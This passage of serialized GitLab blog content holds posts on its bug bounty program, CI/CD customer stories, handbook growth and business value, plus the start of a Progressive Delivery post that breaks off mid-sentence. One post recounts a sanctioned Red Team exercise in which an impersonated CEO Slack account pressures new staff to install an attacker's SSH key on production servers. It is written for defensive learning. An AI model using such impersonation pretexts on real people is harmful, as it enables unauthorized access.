jobert](https://hackerone.com/jobert)\n1. nyangawa\n1. [fransrosen](https://hackerone.com/fransrosen)\n1. [xanbanx](https://hackerone.com/xanbanx)\n\n### Transparency\n\nThe majority of reporters want to make their vulnerability reports public to showcase their findings and techniques and, also, just for some good ol’ fashioned bragging rights within the hacker community. There’s also a real need in this community to be constantly challenged and a dedication to learning that public disclosure helps to satisfy. Many other bug bounty programs don’t publicly release the full details of their vulnerability reports and subsequently discourage the HackerOne community from sharing or showing off their findings. However, as one of GitLab's values is [transparency](https://handbook.gitlab.com/handbook/values/#transparency), we set all vulnerability details to public in our [issue tracker](https://gitlab.com/groups/gitlab-org/-/issues?scope=all&utf8=%E2%9C%93&state=closed&label_name[]=security&label_name[]=HackerOne) 30 days after a patch has been [released](/releases/categories/releases/).\n\n### Responsiveness\n\nThe HackerOne community expects responsiveness in the communication of updates and payment of bounties. To help ensure we respond and triage as quickly as possible, we’ve built in automation so that we can provide timely initial and ongoing feedback to reporters, as well as continuous updates on the ETA of fixes for existing reports. We’re working in the area of bounties payment to improve our process and reward bounties immediately after triage, where applicable, rather than when fixed. Expect to hear more on this in forthcoming bug bounty blog posts!\n\n### Competitive rewards\n\nOur desire is to be the number one paying bounty company in our industry. This aim is to keep reporters incentivized, motivated, and engaged to find bugs on our platform. Our public bug bounty program is as important to the security of our product and company as any other program we run within our Security Team here at GitLab. That's why we’re continually looking to improve our processes and incentive structure to benefit our reporter community.\n\n{::options parse_block_html=\"true\" /}\n\n\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>&nbsp;&nbsp;\nWe know a big, fat check speaks volumes, but we also know some cool swag is a nice little pat on the back too. So, we’re putting it out there – if you could put a GitLab Tanuki on any piece of swag – what would it be?  Leave us a comment below!\n&nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n{: .alert .alert-webcast}\n",[267,674,815,1938],{"slug":29729,"featured":6,"template":678},"inside-the-gitlab-public-bug-bounty-program","content:en-us:blog:inside-the-gitlab-public-bug-bounty-program.yml","Inside The Gitlab Public Bug Bounty Program","en-us/blog/inside-the-gitlab-public-bug-bounty-program.yml","en-us/blog/inside-the-gitlab-public-bug-bounty-program",{"_path":29735,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29736,"content":29741,"config":29747,"_id":29749,"_type":16,"title":29750,"_source":17,"_file":29751,"_stem":29752,"_extension":20},"/en-us/blog/agile-iteration-unique-onboarding-experience",{"title":29737,"description":29738,"ogTitle":29737,"ogDescription":29738,"noIndex":6,"ogImage":3431,"ogUrl":29739,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29739,"schema":29740},"Agile iteration: My unique onboarding experience at GitLab","How I learned to iterate quickly during my first week at GitLab.","https://about.gitlab.com/blog/agile-iteration-unique-onboarding-experience","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Agile iteration: My unique onboarding experience at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Fahey\"}],\n        \"datePublished\": \"2019-04-26\",\n      }",{"title":29737,"description":29738,"authors":29742,"heroImage":3431,"date":29744,"body":29745,"category":674,"tags":29746},[29743],"Michael Fahey","2019-04-26","\n\nMy name is Michael Fahey. I have been working in the security and IT industries for over 15 years. Recently, I joined GitLab’s Security Team as the manager of the [Red Team](/handbook/security/#red-team). The GitLab Red Team is responsible for assessing the overall security posture of GitLab as a company as well as testing the security and defensive capabilities of our products and services.\n\nWe demonstrate that by telling the stories of our exploits, to help provide context and flavor to the risks we identify. We are white-hat hackers emulating adversaries, and bad guys, so we can rapidly iterate on our security practices resulting in a stronger security posture and better security products.\n\nThe Red Team is a new team. Initially, when I talked to my manager, I was expecting to plan and conduct Red Team exercises after I onboarded. An opportunity presented itself for me to join the [CEO Shadow Program](/handbook/ceo/shadow/), so instead, in my second week, I was in San Francisco working with the CEO of GitLab, [Sid Sijbrandij](/company/team/#sytses)! One thing to know about Sid is that he is passionate about security, so while I was a part of the CEO Shadow Program, he recommended we perform a social engineering exercise against GitLab. I was starting to understand how serious GitLab is about our values, and I wanted to get the firsthand experience with one of our values, [iteration](https://handbook.gitlab.com/handbook/values/#iteration).\n\nThe tempo at which everything was going was not something I was used to. When faced with a new situation like this, I try to emphasize care by slowly gathering information on the target, then building a believable story to persuade the target to perform what I want them to. Social engineering exercises are more about building trust and sympathy than anything else. Sid, however, insisted that I just execute and iterate on the exercise, despite my reservations. Sid was trying to teach me something important which I did not yet grasp.\n\n## What are our Red Team exercise goals?\n\nThe goal of the exercise was to observe how a new employee would react to the demands of the CEO. From the perspective of an adversary, the goal was to compromise GitLab.com by impersonating the CEO, and then demand that an employee with privileged access install an authorization key, controlled by the Red Team, to production servers.\n\nThe expected value of this basic exercise was to identify areas of improvement and level set on our current security stance. It's a starting point to allow us to iterate and build upon. Ideally, we hoped our chosen target would report the incident to the Security Operations Team. At that point, the event would be triaged, and the account deactivated quickly to mitigate any further impact.\n\n### Here is how we scoped this basic exercise:\n\n- Limit the activity to Slack.\n- Emulate an immature, aggressive adversary.\n- Target and identify the people who administer our production systems.\n- Assume compromise of the CEO's Slack identity. For the objectives of this exercise, we don't care how Sid's identity got compromised. In fact, the impersonated Slack account was provisioned before this exercise.\n- The Security Operations Team were not aware of the engagement and were not notified prior to this exercise.\n\n### How did the attempted compromise go?\n\nSo, as the adversary, we started out with the pre-provisioned CEO slack account and logged in. Next, we needed to learn more about GitLab and find the weakest link in the chain to exploit. Luckily, GitLab makes all the information we need publicly available\nwithin the [handbook](/handbook/) and [team](/company/team/) pages.\n\n### Here is what we learned:\n\n- The Infrastructure Team administers all of GitLab’s production systems.\n- The Infrastructure Team remotely accesses, controls and manages GitLab.com.\n- I identified a new GitLab team-member who had just joined the Infrastructure Team. His Slack profile really stood out for us:\n\n![New GitLab team-member Slack profile](https://about.gitlab.com/images/blogimages/red-team-exercise/slack-profile.png){: .shadow.medium.center}\n\nWe found the status of “Onboarding – be gentle” too good not to take up. So, we sent out an urgent request impersonating the CEO of GitLab. “Sid” had an urgent request to add his SSH key to the production systems and Target0 was the only one that could help. Check out what the Red Team sent him below.\n\n![Message from \"Sid\"](https://about.gitlab.com/images/blogimages/red-team-exercise/sid-message.png){: .shadow.medium.center}\n\nFor context alone, there is one crucial fact to understand. An Advanced Persistent Threat (APT) would not burn such a high-value asset as Sid’s Slack profile on something so aggressive. It has too high of a chance for failure. That isn’t to say this doesn’t happen. It is generally a more immature adversary who just wants to do a smash and grab of whatever they can get.\n\nWith the message sent, Target0 never responded. We didn’t have any insight as to what was happening, and we didn’t want to push too hard, so we took a different tactic. We contacted his manager, Target1 to see if we could pressure Target0 through another trusted means.\n\n![Message from \"Sid\" to manager](https://about.gitlab.com/images/blogimages/red-team-exercise/sid-message-manager.png){: .shadow.medium.center}\n\nLooks like we are onto something here! Target1 is going to look into it for us, but we hear nothing back. At this point in the exercise, we were still not sure what was happening in the background and waited over an hour. Our access was still intact, so we weren’t sure if we were caught or they were working on implementing the request.\n\n## What actually happened?\n\nTurns out Target0 challenged the request and reached out for help from our Security Operations team. We failed to compromise GitLab.com, but there could be more to learn in how Security Operations responded to the event. One can see that Target0 created the following ticket below. At that point, our Security Operations team was on it!\n\n![Ticket to SecOps](https://about.gitlab.com/images/blogimages/red-team-exercise/sec-ops-ticket.png){: .shadow.medium.center}\n\nThe Security Operations Team immediately triaged the issue. They got in touch with Sid’s executive assistant. She asked the Security Operations team to hold off on any action then went unresponsive for a half hour, because she knew about this exercise, and was advised to take the actions that she took. This stalled the response process. During that time, the Red Team still had control over Sid’s Slack account, which had not been deactivated.\n\n## What were the results of the exercise?\n\nFrom a Red Team perspective, we _wanted_ to fail in our exercises, but fail or succeed, it is critical that everyone involved learns from the experience.\n\n### Here are some key observations:\n\n- Target0 and Target1's instincts and decisions were validated. They did the right thing to challenge and report the request from “Sid.” They are now more empowered to challenge dubious claims in the future. Heroes of the story!\n\n- The Security Operations Team quickly responded to and triaged the incident. However, through a combination of the following, a final response was delayed:\n    - Sid’s executive assistant requested to delay action until she heard back from Sid.\n    - There was a lack of evidence indicating unauthorized access (via investigation of Slack’s audit logs).\n    - Positive confirmation from the executive assistant that Sid was in an interview (thus no physical breach). A Security Operations team member later jested:\n\n![SecOps team member joke](https://about.gitlab.com/images/blogimages/red-team-exercise/slack-comment.png){: .shadow.medium.center}\n\n- Communication is critical when running Red Team exercises, and a failure in communication can lead to failures in efficiency. For example:\n    - When the Red Team exercise is starting, send a notification to leadership that the activity is beginning, so that leaders can better respond to the natural panic of these engagements.\n    - Perform a Zoom review meeting with the Sr. Director of Security, VP of Engineering, and the CEO to make sure everyone is on the same page.\n\n## How did this social experiment play out?\n\nGitLab is a growing startup with lots of new employees onboarding and an evolving security organization. GitLab demonstrated their ability to be agile and security-aware, but we’ve now started a conversation on why people shouldn’t blindly follow orders due to the person's position and authority, like the CEO. That is precisely why controls like Separation of Duties [(NIST 800-53 Security Control: CA-5)](https://nvd.nist.gov/800-53/Rev4/control/AC-5) and the incident response process are so critical.\n\nThis exercise allowed both the Red Team and Security Operations Team the opportunity to learn and grow together. Red Team is the robbers and Security Operations the cops, but what can happen if the robbers and cops start working together? If one of my favorite shows, \"White Collar,\" is any indicator, we can achieve far more together than we could alone.\n\n## What did I learn from all of this?\n\nFrom my perspective, I expected Target0 and Target1 to report the issue and Security Operations to respond to the incident. The Red Team’s goal should be about empowering people to champion cybersecurity challenges and solutions. We may do that through adversarial means to highlight problems, but it should always be for the benefit of the employees, customer, and company. I feel like some of us in the industry forget that from time to time.\n\nOutside of the exercise, I learned the importance of [iteration](https://handbook.gitlab.com/handbook/values/#iteration)\nand a strategic concept GitLab employs called [Breadth over Depth](/company/strategy/#breadth-over-depth).\nThe idea is to iterate as fast as possible to learn and grow as fast as possible. Quickly learn and grow as opposed to planning something over days and weeks.\n\nIf you quickly iterate then fail or succeed, you can learn far more than if you carefully planned\nevery step then execute on that plan. There is no guarantee that any plan or\nidea will succeed, no matter how much planning and thought you put into it. There is truth in\nthe saying, “No plan survives first contact with the enemy.”\n\nWe can’t wait for that perfect moment or take the time to develop the perfect plan because we will become stagnant and learn little otherwise. What should you do then? Rapidly iterate. Over time, you will grow far faster, be more capable, and have greater insight into your solution.\n",[676,674],{"slug":29748,"featured":6,"template":678},"agile-iteration-unique-onboarding-experience","content:en-us:blog:agile-iteration-unique-onboarding-experience.yml","Agile Iteration Unique Onboarding Experience","en-us/blog/agile-iteration-unique-onboarding-experience.yml","en-us/blog/agile-iteration-unique-onboarding-experience",{"_path":29754,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29755,"content":29761,"config":29766,"_id":29768,"_type":16,"title":29769,"_source":17,"_file":29770,"_stem":29771,"_extension":20},"/en-us/blog/5-teams-that-made-the-switch-to-gitlab-ci-cd",{"title":29756,"description":29757,"ogTitle":29756,"ogDescription":29757,"noIndex":6,"ogImage":29758,"ogUrl":29759,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29759,"schema":29760},"5 Teams that made the switch to GitLab CI/CD","See what happened when these five teams moved on from old continuous integration and delivery solutions and switched to GitLab CI/CD.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678657/Blog/Hero%20Images/ci-cd-competitive-campaign-blog-cover.png","https://about.gitlab.com/blog/5-teams-that-made-the-switch-to-gitlab-ci-cd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"5 Teams that made the switch to GitLab CI/CD\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2019-04-25\",\n      }",{"title":29756,"description":29757,"authors":29762,"heroImage":29758,"date":29763,"body":29764,"category":734,"tags":29765},[18462],"2019-04-25","\nNo team is immune to process challenges, and as organizations grow these challenges only get worse. Sometimes there’s a lack of visibility during the development process, sometimes legacy systems create instability and lack functionality, and sometimes things just _stop working_. Continuous integration and delivery [(CI/CD)](/topics/ci-cd/) enables teams to deploy faster, and finding the right tool can make a big difference in the development lifecycle. Great companies know how to identify problems and when it’s time to find better solutions.\n\nWe’ve previously shared [why teams love GitLab CI/CD](/blog/why-gitlab-ci-cd/), and now we want to highlight five real-world examples of teams that abandoned dated continuous integration and delivery solutions and made the switch to GitLab CI/CD. We’ll show you how they:\n\n*   Reduced costs.\n*   Deployed faster.\n*   Improved efficiency.\n*   Made engineers’ lives easier.\n\n### Verizon Connect\n\nThe Verizon Connect Telematics Container Cloud Platform team had several challenges: too many tasks, disjointed processes, and outdated, Java-based monolithic applications. Add tools like [BitBucket](/competition/bitbucket/), Jenkins, and Jira in the mix and the Verizon Connect team was struggling with _data center builds that took nearly 30 days_. It was time to start from scratch.\n\nThe team chose GitLab to support this infrastructure initiative and reduced data center deploys from 30 days to _under eight hours_.\n\n[Read on](/blog/verizon-customer-story/)\n{: .alert .alert-gitlab-purple}\n\n### Ticketmaster\n\nFor the Ticketmaster mobile team, a two-hour pipeline for a minor change was the last straw. After years with Jenkins and a system weighed down by plugins and legacy development, they knew they needed to reevaluate their continuous integration and delivery tools.\n\nAfter adopting GitLab CI/CD, Ticketmaster was able to move to weekly releases, decreasing their pipeline execution time from two hours to _only eight minutes_ to build, test, and publish artifacts.\n\nLearn how GitLab CI/CD gave the mobile team their Friday afternoons back.\n\n[Read more](/blog/continuous-integration-ticketmaster/)\n{: .alert .alert-gitlab-purple}\n\n### HumanGeo\n\nAs a software development company, HumanGeo ships a lot of code. Development speed is vital, and when Jenkins CI became yet another thing to manage, they needed to make a change.\n\nJustin Shelton, an engineer at HumanGeo, talks about why they decided to switch to GitLab CI/CD, and how they were able to:\n\n*   Cut admin time by 96 percent.\n*   Cut costs by 33 percent.\n*   Increase the pace of development.\n\n[Learn how](/blog/humangeo-switches-jenkins-gitlab-ci/)\n{: .alert .alert-gitlab-purple}\n\n### Wag!\n\nIn three years, Wag! has supported more than one billion walks through its on-demand dog walking, sitting, and boarding mobile app. The engineering team was searching for a simplified solution that would streamline the development process. The company had been using Travis and other continuous integration and delivery systems but wanted something with a better interface that offered more control.\n\nWag!'s infrastructure engineers no longer have to manually stage and test their work. They now use the full GitLab CI/CD pipeline – so whether it's the Android application, the web application, the API, or infrastructure, it's all being tested, built, and deployed through GitLab.\n\n[Check it out](/blog/wag-labs-blog-post/)\n{: .alert .alert-gitlab-purple}\n\n### Paessler AG\n\nPaessler AG’s PRTG Network Monitor is used by enterprises and organizations of all sizes and industries across more than 170 countries. It’s critical that their monitoring service is able to keep up with developments but stability issues meant that sometimes things just stopped working.\n\nThe Paessler team initially chose GitLab for version control, but after seeing the functionality and potential of GitLab pipelines, they decided to replace Jenkins as well. Since adopting GitLab CI/CD, the Paessler AG team now has 4x more releases and 90 percent of QA self-served.\n\n[Read the case study](/customers/paessler/)\n{: .alert .alert-gitlab-purple}\n\nWant to know what GitLab CI/CD could do for your team? You’re invited to join us for our CI/CD webcast, _Mastering continuous software development_. Learn how GitLab’s built-in CI/CD helps teams apply continuous software development without all the complicated integrations and plugin maintenance.\n\nIn this webcast, we’ll cover:\n\n* Three main approaches to the continuous software development methodology.\n* The benefits of continuous integration, delivery and deployment practices.\n* A demonstration of GitLab’s CI/CD pipeline to build, test, deploy, and monitor your code.\n\n{::options parse_block_html=\"true\" /}\n\n\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>&nbsp;&nbsp;\nWatch GitLab's [Mastering continuous software development](/webcast/mastering-ci-cd/) webcast\n&nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n{: .alert .alert-webcast}\n",[2705,4103,110],{"slug":29767,"featured":6,"template":678},"5-teams-that-made-the-switch-to-gitlab-ci-cd","content:en-us:blog:5-teams-that-made-the-switch-to-gitlab-ci-cd.yml","5 Teams That Made The Switch To Gitlab Ci Cd","en-us/blog/5-teams-that-made-the-switch-to-gitlab-ci-cd.yml","en-us/blog/5-teams-that-made-the-switch-to-gitlab-ci-cd",{"_path":29773,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29774,"content":29780,"config":29786,"_id":29788,"_type":16,"title":29789,"_source":17,"_file":29790,"_stem":29791,"_extension":20},"/en-us/blog/the-gitlab-handbook-by-numbers",{"title":29775,"description":29776,"ogTitle":29775,"ogDescription":29776,"noIndex":6,"ogImage":29777,"ogUrl":29778,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29778,"schema":29779},"The GitLab handbook by numbers","Two GitLab team-members take a fresh look at GitLab's open source team handbook, charting its evolution over the years to the weighty tome it is today.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670434/Blog/Hero%20Images/handbook-cover.jpg","https://about.gitlab.com/blog/the-gitlab-handbook-by-numbers","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The GitLab handbook by numbers\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Lukas Eipert\"},{\"@type\":\"Person\",\"name\":\"Lee Matos\"}],\n        \"datePublished\": \"2019-04-24\",\n      }",{"title":29775,"description":29776,"authors":29781,"heroImage":29777,"date":29783,"body":29784,"category":299,"tags":29785},[29782,19634],"Lukas Eipert","2019-04-24","\nSharing and retrieving information is a crucial part of everyday work life.\nWhere do you get information from, be it about hiring processes, social media guidelines, or reporting expenses?\nAt GitLab, all of that can be found in [the handbook](https://handbook.gitlab.com/) – have a look, it's public!\n[Sid](/company/team/#sytses), our CEO, [wrote about the importance and the open sourcing of our handbook][sid-blog-post] about two and a half years ago.\nBack then we were just shy of 100 employees.\nIn this post we will look at how the handbook has developed over time, how we interact with it,\nand how it still works for over 550 employees.\n\n[sid-blog-post]: /blog/our-handbook-is-open-source-heres-why/\n\n## One book to guide them all\n\nAt the time of writing, the handbook contains about 605,000 words.\nWhile probably a bit less captivating than the tales of Frodo and Middle Earth,\nwe have composed more pages than \"The Lord of the Rings\" and \"The Hobbit\" combined, since the [first commit][first-commit] in 2015.\nIt would take around 50 hours of continuous reading to cover the whole handbook, front to back.\n\n### Is it overwhelming to read through it all?\n\nIt would be, but as the handbook covers a wide range of topics, you probably don't need to read every single word.\nAs the handbook changes over time it is not necessary to memorize it all, but it is more important to remember how to retrieve information.\nSo as long as you know where to find something, you are on the safe side.\n\n> It would take around 50 hours of continuous reading to cover the whole handbook, front to back\n\n[first-commit]: https://gitlab.com/gitlab-com/www-gitlab-com/blob/2d2ced8f79da96fe981a3a6f6cf5918fa2dd992a/source/team-handbook/index.html\n\n## One book to be written by them all\n\n![Graph showing the growth of the handbook over time (May 2015 - April 2019)](https://about.gitlab.com/images/blogimages/evolution_handbook/handbook-history.png){: .shadow.center}\n*\u003Csmall>Graph showing the growth of the handbook, broken down by subcategory, over time (May 2015 – April 2019)\u003C/small>*\n\nCurrently all knowledge in the handbook is spread across 550 unique web pages, with the average page containing around 1,100 words.\nThe most words have been written in the subcategory engineering (138,000 words), with marketing a close second (115,000 words).\nTypically, as teams grow, more of their processes get documented in the handbook, which leads to a natural growth of the respective category.\n\n> The most words have been written in the subcategory engineering (138,000 words)\n\n### Who contributes to the handbook?\n\nYou might think that there is someone special who writes all those pages, but it's important\nto remember that [everyone can contribute](https://handbook.gitlab.com/handbook/company/mission/) to the handbook. It is actually part of our [onboarding process]\nto improve something about the handbook – whether that's clarifying wording or making it easier to find something.\nNothing is exempt from change; even [our core values are adjusted over the course of time][values-history].\n\n### How do you make changes to the handbook?\n\nIf someone at GitLab or from the wider community wants to change something, they follow a simple workflow that is familiar to every GitLab user:\n\n1. Create a merge request which introduces the change.\n2. Discuss the merge request with the stakeholders.\n3. Iterate on the change and come to an agreement.\n4. Let the merge request be merged.\n\nMore important changes (not every typo of course!) are then announced via Slack or our [company call].\nThe handbook also has its own [changelog] which you can check regularly to see what has been changed over time.\n\n[onboarding process]: https://handbook.gitlab.com/handbook/people-group/general-onboarding/\n[values-history]: https://gitlab.com/gitlab-com/www-gitlab-com/commits/master/source/handbook/values/index.html.md\n[company call]: https://handbook.gitlab.com/handbook/communication/\n[changelog]: https://handbook.gitlab.com/handbook/about/changelog/\n\n## One book to be read by them all\n\nIn 2018 we had several hundred thousand page views on pages in the handbook. It is hard to tell which views come from GitLab team-members and which from the wider community.\nAmong the most-read pages are our [Markdown Guide], the pages about [global compensation], our [values], the [hiring process], our [product], [benefits], and how to [communicate].\nThese pages are topics of general interest to people within and outside the company.\nWhat could be a better resource to potential candidates than those pages that show the inner workings of GitLab?\n\n### How do you find anything in the handbook?\n\nThe handbook has a search function; you can use the [index page](https://handbook.gitlab.com/) as an entry point, or just use your favorite search engine to find information.\nWhenever someone asks a question in our Slack, there is a high probability that someone will answer with a link to the handbook.\nIf someone asks a question that has no answer in the handbook, we highly encourage people to add that information to document it and make it easier for future GitLab team-members to find answers.\n\n> Whenever someone asks a question in our Slack, there is a high probability that someone will answer with a link to the handbook\n\n[Markdown Guide]: https://handbook.gitlab.com/handbook/markdown-guide/\n[global compensation]: https://handbook.gitlab.com/handbook/total-rewards/compensation/\n[product]: https://handbook.gitlab.com/handbook/product/\n[communicate]: https://handbook.gitlab.com/handbook/communication/\n[values]: https://handbook.gitlab.com/handbook/values/\n[benefits]: https://handbook.gitlab.com/handbook/total-rewards/benefits/\n[hiring process]: https://handbook.gitlab.com/handbook/hiring/\n\n## One book to be the future\n\nWe hope that this glimpse into the handbook is as interesting for you as it was for us.\nIn an all-remote company it is especially important to write everything down, so that no matter\nwhere you are in the world or what time zone you choose to work in, the information you need is accessible.\nAt the moment we are happy to say that we think that the handbook works as well for us now as it did with 100 employees.\nIt aligns with our [values] more than ever.\n\nFor us it is the most transparent way to collaborate on documentation of company internals.\nWe are able to efficiently iterate on topics, resulting in more in-depth coverage over time.\nPersonally the authors cannot see many reasons why the handbook should not be able to scale even further.\nEventually it will evolve further, from the three tomes we have today, to a digital encyclopedia.\nWe are definitely excited to see what the future holds!\n\nHave you taken inspiration from our handbook? Let us know by tweeting [@gitlab](https://twitter.com/gitlab).\n\nPhoto by [Beatriz Pérez Moya](https://unsplash.com/photos/XN4T2PVUUgk?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/books?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[2368,754,676,815],{"slug":29787,"featured":6,"template":678},"the-gitlab-handbook-by-numbers","content:en-us:blog:the-gitlab-handbook-by-numbers.yml","The Gitlab Handbook By Numbers","en-us/blog/the-gitlab-handbook-by-numbers.yml","en-us/blog/the-gitlab-handbook-by-numbers",{"_path":29793,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29794,"content":29799,"config":29804,"_id":29806,"_type":16,"title":29807,"_source":17,"_file":29808,"_stem":29809,"_extension":20},"/en-us/blog/align-business-strategy-and-app-delivery",{"title":29795,"description":29796,"ogTitle":29795,"ogDescription":29796,"noIndex":6,"ogImage":29685,"ogUrl":29797,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29797,"schema":29798},"Deliver business value at the speed of business","Read here on how DevOps helps delivering business value with faster cycle times","https://about.gitlab.com/blog/align-business-strategy-and-app-delivery","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Deliver business value at the speed of business\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"John Jeremiah\"}],\n        \"datePublished\": \"2019-04-23\",\n      }",{"title":29795,"description":29796,"authors":29800,"heroImage":29685,"date":29801,"body":29802,"category":8943,"tags":29803},[29354],"2019-04-23","\n\nWhat’s the point of DevOps and digital transformation? Is this just another “IT project”\nwith limited business value, or will they deliver _real_ value to the business?\n\nThe goal of digital transformation is to change the business with new models,\nnew services, new value, and new ways to connect with customers. Consider the\nobservations of the\n[World Economic Forum’s Digital Transformation Initiative](http://reports.weforum.org/digital-transformation/),\nwhere they argue that a digital transformation will lead to improved customer\nexperience and outcomes, efficiencies, and business models. One of the key ways\nto enable these changes is “agile and digital-savvy leadership” and a technology\ninfrastructure that is ready to respond to changing demands.\n\n**In order to succeed in your digital transformation strategy, you must be able\nto transform your technology delivery processes and platforms.**\n\n## What’s the solution?\n\nThe good news is that many of the key techniques to facilitate faster and more\nresponsive delivery are known. For the past decade, enterprises large and small\nhave found success with adopting DevOps principles to extend Agile project\nplanning to deliver business value at the speed of business. In many ways, DevOps\nis one of the key enablers to unlock the velocity needed for delivery teams to\nrespond to rapidly changing business objectives.\n\nAny sort of IT transformation, such as DevOps, must be defined as a business\ninitiative with tangible business outcomes. However, too often, initiatives like\nAgile and DevOps are relegated to be backbench, IT-focused projects that are set\nup to fail. If your Agile or DevOps transformation project isn’t closely linked\nto business objectives, or if it doesn’t have business stakeholders, then it’s\ntime to go back to the drawing board and re-make the business case to sell the\nvision. As IT leaders, you cannot go it alone.\n\n## Taking a closer look at your value stream\n\nSo, how do you operate and stay focused on business objectives as you accelerate\napplication delivery?  I’ve heard from many customers who find their\n“portfolio planning” process and tools disconnected from the actual work developers\nand delivery teams do. The problem they face is not having visibility into the\ncadence and delivery of new features and capabilities that the business has requested.\nWhile they try to integrate disparate tools to keep track of everything, they\nultimately end up using a patchwork spreadsheets/PowerPoint hybrid to create\ndashboards and reports in the hopes of keeping executives informed. It’s a waste\nof effort, error prone, and frustrating to pull all the data together over and over again.\n\nTo solve this alignment puzzle you need three things:\n\n1. Effective visibility and traceability between business initiatives, coding, and delivery.\n1. Commitment to Agile planning and prioritization.\n1. Automation of manual, error-prone tasks, such as testing, configuring, reporting, and tracking activities.\n\nLet's dig into those:\n\n### Increase visibility\n\nThe first step in achieving success is breaking through the barriers to\ncommunication and collaboration in your organization. Too many different tools,\nspreadsheets, PowerPoint decks, and islands of information create friction and\nconfusion. You need to consider how you can align your policies, processes, and\ntechnology enablers to encourage collaboration, sharing, and visibility into business\ninitiatives. Only then will you be able to respond to the rapidly changing business needs.\n\n### Simplify workflows\n\nIf visibility is the first step in your transformation, then your second step is\nembracing the reality that yesterday’s business plans and priorities may well\nchange tomorrow. The days of annual planning and long-running projects that\ndeliver only after months of effort are gone. The pace of change in the market\ndemands a comparable level of flexibility in our planning and prioritization.\n\n### Favor automation\n\nIf your most valuable assets are your people, then don’t ask them to waste their\ntime and talents on routine manual effort. To improve your ability to accelerate\napplication delivery, you need to examine your processes and policies and\nautomate your manual, repetitive, low-value tasks. This will unlock the untapped\npotential in your team while speeding up your pipeline and reducing error rates.\nThe power of [modern automation](/blog/application-modernization-best-practices/) is a\nkey driver to deliver at the speed of business.\n\nA successful transformation is not only possible, but also crucial to long-term\nsuccess in a market that is moving at a radically faster pace than it was a few\nyears ago. Now is the time to start.\n\nJoin us for an upcoming webinar in which we'll learn how\nsoftware delivery leaders play a vital role in the success of digital transformations.\n\n[Register now](/webcast/justcommit-reduce-cycle-time/)\n{: .alert .alert-gitlab-purple .text-center}\n",[4103,1444],{"slug":29805,"featured":6,"template":678},"align-business-strategy-and-app-delivery","content:en-us:blog:align-business-strategy-and-app-delivery.yml","Align Business Strategy And App Delivery","en-us/blog/align-business-strategy-and-app-delivery.yml","en-us/blog/align-business-strategy-and-app-delivery",{"_path":29811,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29812,"content":29818,"config":29823,"_id":29825,"_type":16,"title":29826,"_source":17,"_file":29827,"_stem":29828,"_extension":20},"/en-us/blog/progressive-delivery-using-review-apps",{"title":29813,"description":29814,"ogTitle":29813,"ogDescription":29814,"noIndex":6,"ogImage":29815,"ogUrl":29816,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29816,"schema":29817},"Progressive Delivery: How to get started with Review Apps","Progressive Delivery is the next evolution of continuous delivery, and Review Apps are a key enabler.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666841/Blog/Hero%20Images/progressive-delivery-review-apps.jpg","https://about.gitlab.com/blog/progressive-delivery-using-review-apps","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Progressive Delivery: How to get started with Review Apps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jason Yavorska\"}],\n        \"datePublished\": \"2019-04-19\",\n      }",{"title":29813,"description":29814,"authors":29819,"heroImage":29815,"date":29820,"body":29821,"category":734,"tags":29822},[22054],"2019-04-19","\nIf you're not familiar with [Progressive Delivery](https://redmonk.com/jgovernor/2018/08/06/towards-progressive-delivery/),\nit's a new set of best practices that is gaining hold for delivering safely and frequently to\nproduction. Although it's not a completely new idea in the same way that continuous\ndelivery originally was, it is a clear evolution of those ideas that brings something\nnew to the table. By taking a step back and considering the corpus of knowledge and experience\ngained over the last 10 years, then applying a bit of systems thinking to\nhow all these different practices interact with emerging technologies, it has set a new\nbaseline for how software delivery can be done effectively.\n\nWe discuss our overall vision for Progressive Delivery on our [CI/CD vision page](/direction/ops/#progressive-delivery),\nwhich also links to a few more resources if you're not up to speed with the concept in general.\n\nIn summary, though, continuous delivery gets you out of the mode of shipping one, big, risky\ndeployment to production, and instead breaks that risk up into many tiny parts – each with a\nfraction of the risk. Progressive Delivery takes this a step further by enabling you to\n[canary test code](https://docs.gitlab.com/ee/user/project/canary_deployments.html) in\nproduction with a small portion of your user base, use [feature flags](https://docs.gitlab.com/ee/operations/feature_flags.html)\nto manage rollout pacing, tie everything together with [tracing](https://docs.gitlab.com/ee/operations/tracing.html),\nand automate the further deployment or rollback of that code depending on how it performs.\n\n## How Review Apps can help enable Progressive Delivery\n\nLet me begin by explaining what GitLab Review Apps 